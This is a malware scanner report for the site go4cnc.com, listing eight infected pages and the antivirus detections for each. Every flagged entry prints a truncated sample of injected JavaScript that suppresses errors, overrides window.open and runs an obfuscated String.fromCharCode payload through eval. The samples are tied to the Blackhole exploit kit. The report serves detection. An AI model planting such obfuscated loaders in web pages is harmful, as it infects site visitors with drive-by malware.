Malware Scanner report for go4cnc.com

Malicious/Suspicious/Total urls checked: 8/0/15

8 pages have malicious code. See details below

Blacklists: Found

The website is marked by Google as suspicious.

The website "go4cnc.com" is probably hacked and losing its visitors. You need to take action as soon as possible to fix security issues.

Malicious Redirects: OK

Malicious/Hidden/Total iFrames: 0/0/0

Deface / Content modification: OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

Malware Removal
Blacklists Removal
Reason Eliminating
1 Month Hack Insurance

More details

Website Hack Insurance

Files & DB Monitoring
Daily Backups
Malware & Hack Detection
Unlimited Hack Repairs

More details

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=go4cnc.com

Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.

Scanned pages/files

Request	Server response	Status
http://go4cnc.com/	200 OK Content-Length: 281968 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) <!-- function SymError() { return true; } window.onerror = SymError; var SymRealWinOpen = window.open; function SymWinOpen(url, name, attributes) { return (new Object()); } window.open = SymWinOpen; window.eval(String.fromCharCode(105,61,48,59,116,114,121,123,112,114,111,116,111,116,121,112,101,45,53,59,125,99,97,116,99,104,40,122,41,123,102,61,91,49,48,50,44,50,51,52,44,49,49,48, ... 15009 bytes are skipped ...04,105,108,100,40,113,43,34,34,41,59,125,99,97,116,99,104,40,102,119,98,101,119,101,41,123,119,61,102,59,115,61,91,93,59,125,13,10,114,61,83,116,114,105,110,103,59,122,61,40,40,101,41,63,34,67,111,100,101,34,58,34,34,41,59,102,111,114,40,59,49,51,51,51,45,53,43,53,62,105,59,105,43,61,49,41,123,106,61,105,59,105,102,40,101,41,115,61,115,43,114,46,102,114,111,109,67,104,97,114,67,111,100,101,40,40,119,91,106,93,47,40,50,45,49,43,106,37,50,41,41,41,59,125,13,10,105,102,40,102,41,101,40,115,41,59)); Antivirus reports: AntiVir JS/DeScript.A Avast JS:Agent-AFE [Trj] Ad-Aware Trojan.JS.Agent.IPG nProtect Trojan.JS.Agent.IPG Comodo TrojWare.JS.TrojanDownloader.Iframe.DM Emsisoft Trojan.JS.Agent.IPG (B) McAfee-GW-Edition Heuristic.BehavesLike.JS.Suspicious.D DrWeb Exploit.BlackHole.51 Microsoft Trojan:JS/BlacoleRef.BO Kaspersky Trojan.JS.Iframe.abm MicroWorld-eScan Trojan.JS.Agent.IPG Fortinet JS/Expack.VT!tr Jiangmin Trojan/Script.Gen F-Secure Trojan.JS.Agent.IPG AVG Exploit Norman Obfuscated.WRM GData Trojan.JS.Agent.IPG ESET-NOD32 JS/Agent.NGF BitDefender Trojan.JS.Agent.IPG
http://go4cnc.com/index.html	200 OK Content-Length: 281968 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) <!-- function SymError() { return true; } window.onerror = SymError; var SymRealWinOpen = window.open; function SymWinOpen(url, name, attributes) { return (new Object()); } window.open = SymWinOpen; window.eval(String.fromCharCode(105,61,48,59,116,114,121,123,112,114,111,116,111,116,121,112,101,45,53,59,125,99,97,116,99,104,40,122,41,123,102,61,91,49,48,50,44,50,51,52,44,49,49,48, ... 15009 bytes are skipped ...04,105,108,100,40,113,43,34,34,41,59,125,99,97,116,99,104,40,102,119,98,101,119,101,41,123,119,61,102,59,115,61,91,93,59,125,13,10,114,61,83,116,114,105,110,103,59,122,61,40,40,101,41,63,34,67,111,100,101,34,58,34,34,41,59,102,111,114,40,59,49,51,51,51,45,53,43,53,62,105,59,105,43,61,49,41,123,106,61,105,59,105,102,40,101,41,115,61,115,43,114,46,102,114,111,109,67,104,97,114,67,111,100,101,40,40,119,91,106,93,47,40,50,45,49,43,106,37,50,41,41,41,59,125,13,10,105,102,40,102,41,101,40,115,41,59)); Antivirus reports: AntiVir JS/DeScript.A Avast JS:Agent-AFE [Trj] Ad-Aware Trojan.JS.Agent.IPG nProtect Trojan.JS.Agent.IPG Comodo TrojWare.JS.TrojanDownloader.Iframe.DM Emsisoft Trojan.JS.Agent.IPG (B) McAfee-GW-Edition Heuristic.BehavesLike.JS.Suspicious.D DrWeb Exploit.BlackHole.51 Microsoft Trojan:JS/BlacoleRef.BO Kaspersky Trojan.JS.Iframe.abm MicroWorld-eScan Trojan.JS.Agent.IPG Fortinet JS/Expack.VT!tr Jiangmin Trojan/Script.Gen F-Secure Trojan.JS.Agent.IPG AVG Exploit Norman Obfuscated.WRM GData Trojan.JS.Agent.IPG ESET-NOD32 JS/Agent.NGF BitDefender Trojan.JS.Agent.IPG
http://go4cnc.com/./assets/htmls/contact.html	200 OK Content-Length: 12287 Content-Type: text/html	clean
http://go4cnc.com/./assets/htmls/../../index.html	200 OK Content-Length: 281968 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) <!-- function SymError() { return true; } window.onerror = SymError; var SymRealWinOpen = window.open; function SymWinOpen(url, name, attributes) { return (new Object()); } window.open = SymWinOpen; window.eval(String.fromCharCode(105,61,48,59,116,114,121,123,112,114,111,116,111,116,121,112,101,45,53,59,125,99,97,116,99,104,40,122,41,123,102,61,91,49,48,50,44,50,51,52,44,49,49,48, ... 15009 bytes are skipped ...04,105,108,100,40,113,43,34,34,41,59,125,99,97,116,99,104,40,102,119,98,101,119,101,41,123,119,61,102,59,115,61,91,93,59,125,13,10,114,61,83,116,114,105,110,103,59,122,61,40,40,101,41,63,34,67,111,100,101,34,58,34,34,41,59,102,111,114,40,59,49,51,51,51,45,53,43,53,62,105,59,105,43,61,49,41,123,106,61,105,59,105,102,40,101,41,115,61,115,43,114,46,102,114,111,109,67,104,97,114,67,111,100,101,40,40,119,91,106,93,47,40,50,45,49,43,106,37,50,41,41,41,59,125,13,10,105,102,40,102,41,101,40,115,41,59)); Antivirus reports: AntiVir JS/DeScript.A Avast JS:Agent-AFE [Trj] Ad-Aware Trojan.JS.Agent.IPG nProtect Trojan.JS.Agent.IPG Comodo TrojWare.JS.TrojanDownloader.Iframe.DM Emsisoft Trojan.JS.Agent.IPG (B) McAfee-GW-Edition Heuristic.BehavesLike.JS.Suspicious.D DrWeb Exploit.BlackHole.51 Microsoft Trojan:JS/BlacoleRef.BO Kaspersky Trojan.JS.Iframe.abm MicroWorld-eScan Trojan.JS.Agent.IPG Fortinet JS/Expack.VT!tr Jiangmin Trojan/Script.Gen F-Secure Trojan.JS.Agent.IPG AVG Exploit Norman Obfuscated.WRM GData Trojan.JS.Agent.IPG ESET-NOD32 JS/Agent.NGF BitDefender Trojan.JS.Agent.IPG
http://go4cnc.com/./assets/htmls/../.././assets/htmls/contact.html	200 OK Content-Length: 12287 Content-Type: text/html	clean
http://go4cnc.com/./assets/htmls/../.././assets/htmls/../../index.html	200 OK Content-Length: 281968 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) <!-- function SymError() { return true; } window.onerror = SymError; var SymRealWinOpen = window.open; function SymWinOpen(url, name, attributes) { return (new Object()); } window.open = SymWinOpen; window.eval(String.fromCharCode(105,61,48,59,116,114,121,123,112,114,111,116,111,116,121,112,101,45,53,59,125,99,97,116,99,104,40,122,41,123,102,61,91,49,48,50,44,50,51,52,44,49,49,48, ... 15009 bytes are skipped ...04,105,108,100,40,113,43,34,34,41,59,125,99,97,116,99,104,40,102,119,98,101,119,101,41,123,119,61,102,59,115,61,91,93,59,125,13,10,114,61,83,116,114,105,110,103,59,122,61,40,40,101,41,63,34,67,111,100,101,34,58,34,34,41,59,102,111,114,40,59,49,51,51,51,45,53,43,53,62,105,59,105,43,61,49,41,123,106,61,105,59,105,102,40,101,41,115,61,115,43,114,46,102,114,111,109,67,104,97,114,67,111,100,101,40,40,119,91,106,93,47,40,50,45,49,43,106,37,50,41,41,41,59,125,13,10,105,102,40,102,41,101,40,115,41,59)); Antivirus reports: AntiVir JS/DeScript.A Avast JS:Agent-AFE [Trj] Ad-Aware Trojan.JS.Agent.IPG nProtect Trojan.JS.Agent.IPG Comodo TrojWare.JS.TrojanDownloader.Iframe.DM Emsisoft Trojan.JS.Agent.IPG (B) McAfee-GW-Edition Heuristic.BehavesLike.JS.Suspicious.D DrWeb Exploit.BlackHole.51 Microsoft Trojan:JS/BlacoleRef.BO Kaspersky Trojan.JS.Iframe.abm MicroWorld-eScan Trojan.JS.Agent.IPG Fortinet JS/Expack.VT!tr Jiangmin Trojan/Script.Gen F-Secure Trojan.JS.Agent.IPG AVG Exploit Norman Obfuscated.WRM GData Trojan.JS.Agent.IPG ESET-NOD32 JS/Agent.NGF BitDefender Trojan.JS.Agent.IPG
http://go4cnc.com/./assets/htmls/../.././assets/htmls/../.././assets/htmls/contact.html	200 OK Content-Length: 12287 Content-Type: text/html	clean
http://go4cnc.com/./assets/htmls/../.././assets/htmls/../.././assets/htmls/../../index.html	200 OK Content-Length: 281968 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) <!-- function SymError() { return true; } window.onerror = SymError; var SymRealWinOpen = window.open; function SymWinOpen(url, name, attributes) { return (new Object()); } window.open = SymWinOpen; window.eval(String.fromCharCode(105,61,48,59,116,114,121,123,112,114,111,116,111,116,121,112,101,45,53,59,125,99,97,116,99,104,40,122,41,123,102,61,91,49,48,50,44,50,51,52,44,49,49,48, ... 15009 bytes are skipped ...04,105,108,100,40,113,43,34,34,41,59,125,99,97,116,99,104,40,102,119,98,101,119,101,41,123,119,61,102,59,115,61,91,93,59,125,13,10,114,61,83,116,114,105,110,103,59,122,61,40,40,101,41,63,34,67,111,100,101,34,58,34,34,41,59,102,111,114,40,59,49,51,51,51,45,53,43,53,62,105,59,105,43,61,49,41,123,106,61,105,59,105,102,40,101,41,115,61,115,43,114,46,102,114,111,109,67,104,97,114,67,111,100,101,40,40,119,91,106,93,47,40,50,45,49,43,106,37,50,41,41,41,59,125,13,10,105,102,40,102,41,101,40,115,41,59)); Antivirus reports: AntiVir JS/DeScript.A Avast JS:Agent-AFE [Trj] Ad-Aware Trojan.JS.Agent.IPG nProtect Trojan.JS.Agent.IPG Comodo TrojWare.JS.TrojanDownloader.Iframe.DM Emsisoft Trojan.JS.Agent.IPG (B) McAfee-GW-Edition Heuristic.BehavesLike.JS.Suspicious.D DrWeb Exploit.BlackHole.51 Microsoft Trojan:JS/BlacoleRef.BO Kaspersky Trojan.JS.Iframe.abm MicroWorld-eScan Trojan.JS.Agent.IPG Fortinet JS/Expack.VT!tr Jiangmin Trojan/Script.Gen F-Secure Trojan.JS.Agent.IPG AVG Exploit Norman Obfuscated.WRM GData Trojan.JS.Agent.IPG ESET-NOD32 JS/Agent.NGF BitDefender Trojan.JS.Agent.IPG
http://go4cnc.com/./assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/contact.html	200 OK Content-Length: 12287 Content-Type: text/html	clean
http://go4cnc.com/./assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/../../index.html	200 OK Content-Length: 281968 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) <!-- function SymError() { return true; } window.onerror = SymError; var SymRealWinOpen = window.open; function SymWinOpen(url, name, attributes) { return (new Object()); } window.open = SymWinOpen; window.eval(String.fromCharCode(105,61,48,59,116,114,121,123,112,114,111,116,111,116,121,112,101,45,53,59,125,99,97,116,99,104,40,122,41,123,102,61,91,49,48,50,44,50,51,52,44,49,49,48, ... 15009 bytes are skipped ...04,105,108,100,40,113,43,34,34,41,59,125,99,97,116,99,104,40,102,119,98,101,119,101,41,123,119,61,102,59,115,61,91,93,59,125,13,10,114,61,83,116,114,105,110,103,59,122,61,40,40,101,41,63,34,67,111,100,101,34,58,34,34,41,59,102,111,114,40,59,49,51,51,51,45,53,43,53,62,105,59,105,43,61,49,41,123,106,61,105,59,105,102,40,101,41,115,61,115,43,114,46,102,114,111,109,67,104,97,114,67,111,100,101,40,40,119,91,106,93,47,40,50,45,49,43,106,37,50,41,41,41,59,125,13,10,105,102,40,102,41,101,40,115,41,59)); Antivirus reports: AntiVir JS/DeScript.A Avast JS:Agent-AFE [Trj] Ad-Aware Trojan.JS.Agent.IPG nProtect Trojan.JS.Agent.IPG Comodo TrojWare.JS.TrojanDownloader.Iframe.DM Emsisoft Trojan.JS.Agent.IPG (B) McAfee-GW-Edition Heuristic.BehavesLike.JS.Suspicious.D DrWeb Exploit.BlackHole.51 Microsoft Trojan:JS/BlacoleRef.BO Kaspersky Trojan.JS.Iframe.abm MicroWorld-eScan Trojan.JS.Agent.IPG Fortinet JS/Expack.VT!tr Jiangmin Trojan/Script.Gen F-Secure Trojan.JS.Agent.IPG AVG Exploit Norman Obfuscated.WRM GData Trojan.JS.Agent.IPG ESET-NOD32 JS/Agent.NGF BitDefender Trojan.JS.Agent.IPG
http://go4cnc.com/./assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/contact.html	200 OK Content-Length: 12287 Content-Type: text/html	clean
http://go4cnc.com/./assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/../../index.html	200 OK Content-Length: 281968 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) <!-- function SymError() { return true; } window.onerror = SymError; var SymRealWinOpen = window.open; function SymWinOpen(url, name, attributes) { return (new Object()); } window.open = SymWinOpen; window.eval(String.fromCharCode(105,61,48,59,116,114,121,123,112,114,111,116,111,116,121,112,101,45,53,59,125,99,97,116,99,104,40,122,41,123,102,61,91,49,48,50,44,50,51,52,44,49,49,48, ... 15009 bytes are skipped ...04,105,108,100,40,113,43,34,34,41,59,125,99,97,116,99,104,40,102,119,98,101,119,101,41,123,119,61,102,59,115,61,91,93,59,125,13,10,114,61,83,116,114,105,110,103,59,122,61,40,40,101,41,63,34,67,111,100,101,34,58,34,34,41,59,102,111,114,40,59,49,51,51,51,45,53,43,53,62,105,59,105,43,61,49,41,123,106,61,105,59,105,102,40,101,41,115,61,115,43,114,46,102,114,111,109,67,104,97,114,67,111,100,101,40,40,119,91,106,93,47,40,50,45,49,43,106,37,50,41,41,41,59,125,13,10,105,102,40,102,41,101,40,115,41,59)); Antivirus reports: AntiVir JS/DeScript.A Avast JS:Agent-AFE [Trj] Ad-Aware Trojan.JS.Agent.IPG nProtect Trojan.JS.Agent.IPG Comodo TrojWare.JS.TrojanDownloader.Iframe.DM Emsisoft Trojan.JS.Agent.IPG (B) McAfee-GW-Edition Heuristic.BehavesLike.JS.Suspicious.D DrWeb Exploit.BlackHole.51 Microsoft Trojan:JS/BlacoleRef.BO Kaspersky Trojan.JS.Iframe.abm MicroWorld-eScan Trojan.JS.Agent.IPG Fortinet JS/Expack.VT!tr Jiangmin Trojan/Script.Gen F-Secure Trojan.JS.Agent.IPG AVG Exploit Norman Obfuscated.WRM GData Trojan.JS.Agent.IPG ESET-NOD32 JS/Agent.NGF BitDefender Trojan.JS.Agent.IPG
http://go4cnc.com/./assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/contact.html	200 OK Content-Length: 12287 Content-Type: text/html	clean
http://go4cnc.com/./assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/../../index.html	200 OK Content-Length: 281968 Content-Type: text/html	malicious
Malicious code - confirmed by antiviruses (see below) <!-- function SymError() { return true; } window.onerror = SymError; var SymRealWinOpen = window.open; function SymWinOpen(url, name, attributes) { return (new Object()); } window.open = SymWinOpen; window.eval(String.fromCharCode(105,61,48,59,116,114,121,123,112,114,111,116,111,116,121,112,101,45,53,59,125,99,97,116,99,104,40,122,41,123,102,61,91,49,48,50,44,50,51,52,44,49,49,48, ... 15009 bytes are skipped ...04,105,108,100,40,113,43,34,34,41,59,125,99,97,116,99,104,40,102,119,98,101,119,101,41,123,119,61,102,59,115,61,91,93,59,125,13,10,114,61,83,116,114,105,110,103,59,122,61,40,40,101,41,63,34,67,111,100,101,34,58,34,34,41,59,102,111,114,40,59,49,51,51,51,45,53,43,53,62,105,59,105,43,61,49,41,123,106,61,105,59,105,102,40,101,41,115,61,115,43,114,46,102,114,111,109,67,104,97,114,67,111,100,101,40,40,119,91,106,93,47,40,50,45,49,43,106,37,50,41,41,41,59,125,13,10,105,102,40,102,41,101,40,115,41,59)); Antivirus reports: AntiVir JS/DeScript.A Avast JS:Agent-AFE [Trj] Ad-Aware Trojan.JS.Agent.IPG nProtect Trojan.JS.Agent.IPG Comodo TrojWare.JS.TrojanDownloader.Iframe.DM Emsisoft Trojan.JS.Agent.IPG (B) McAfee-GW-Edition Heuristic.BehavesLike.JS.Suspicious.D DrWeb Exploit.BlackHole.51 Microsoft Trojan:JS/BlacoleRef.BO Kaspersky Trojan.JS.Iframe.abm MicroWorld-eScan Trojan.JS.Agent.IPG Fortinet JS/Expack.VT!tr Jiangmin Trojan/Script.Gen F-Secure Trojan.JS.Agent.IPG AVG Exploit Norman Obfuscated.WRM GData Trojan.JS.Agent.IPG ESET-NOD32 JS/Agent.NGF BitDefender Trojan.JS.Agent.IPG
http://go4cnc.com/./assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/../.././assets/htmls/contact.html	200 OK Content-Length: 12287 Content-Type: text/html	clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: go4cnc.com

Result:
HTTP/1.1 200 OK
Date: Fri, 30 May 2014 23:08:03 GMT
Accept-Ranges: bytes
ETag: "184cd6b08753cd1:0"
Server: Microsoft-IIS/7.0
Content-Length: 281968
Content-Type: text/html
Last-Modified: Tue, 26 Jun 2012 10:37:31 GMT
X-Powered-By: ASP.NET

...281968 bytes of data.

Second query (visit from search engine):
GET / HTTP/1.1
Host: go4cnc.com
Referer: http://www.google.com/search?q=go4cnc.com

Result:
The result is similar to the first query. There are no suspicious redirects found.

Recently found suspicious websites

Malware Scanner report for go4cnc.com

Malware & Hack Repair

Website Hack Insurance

Safe Browsing / Blacklists

Scanned pages/files

Malicious Redirects

Recently found suspicious websites

Company

Services

eVuln Labs

eVuln Tools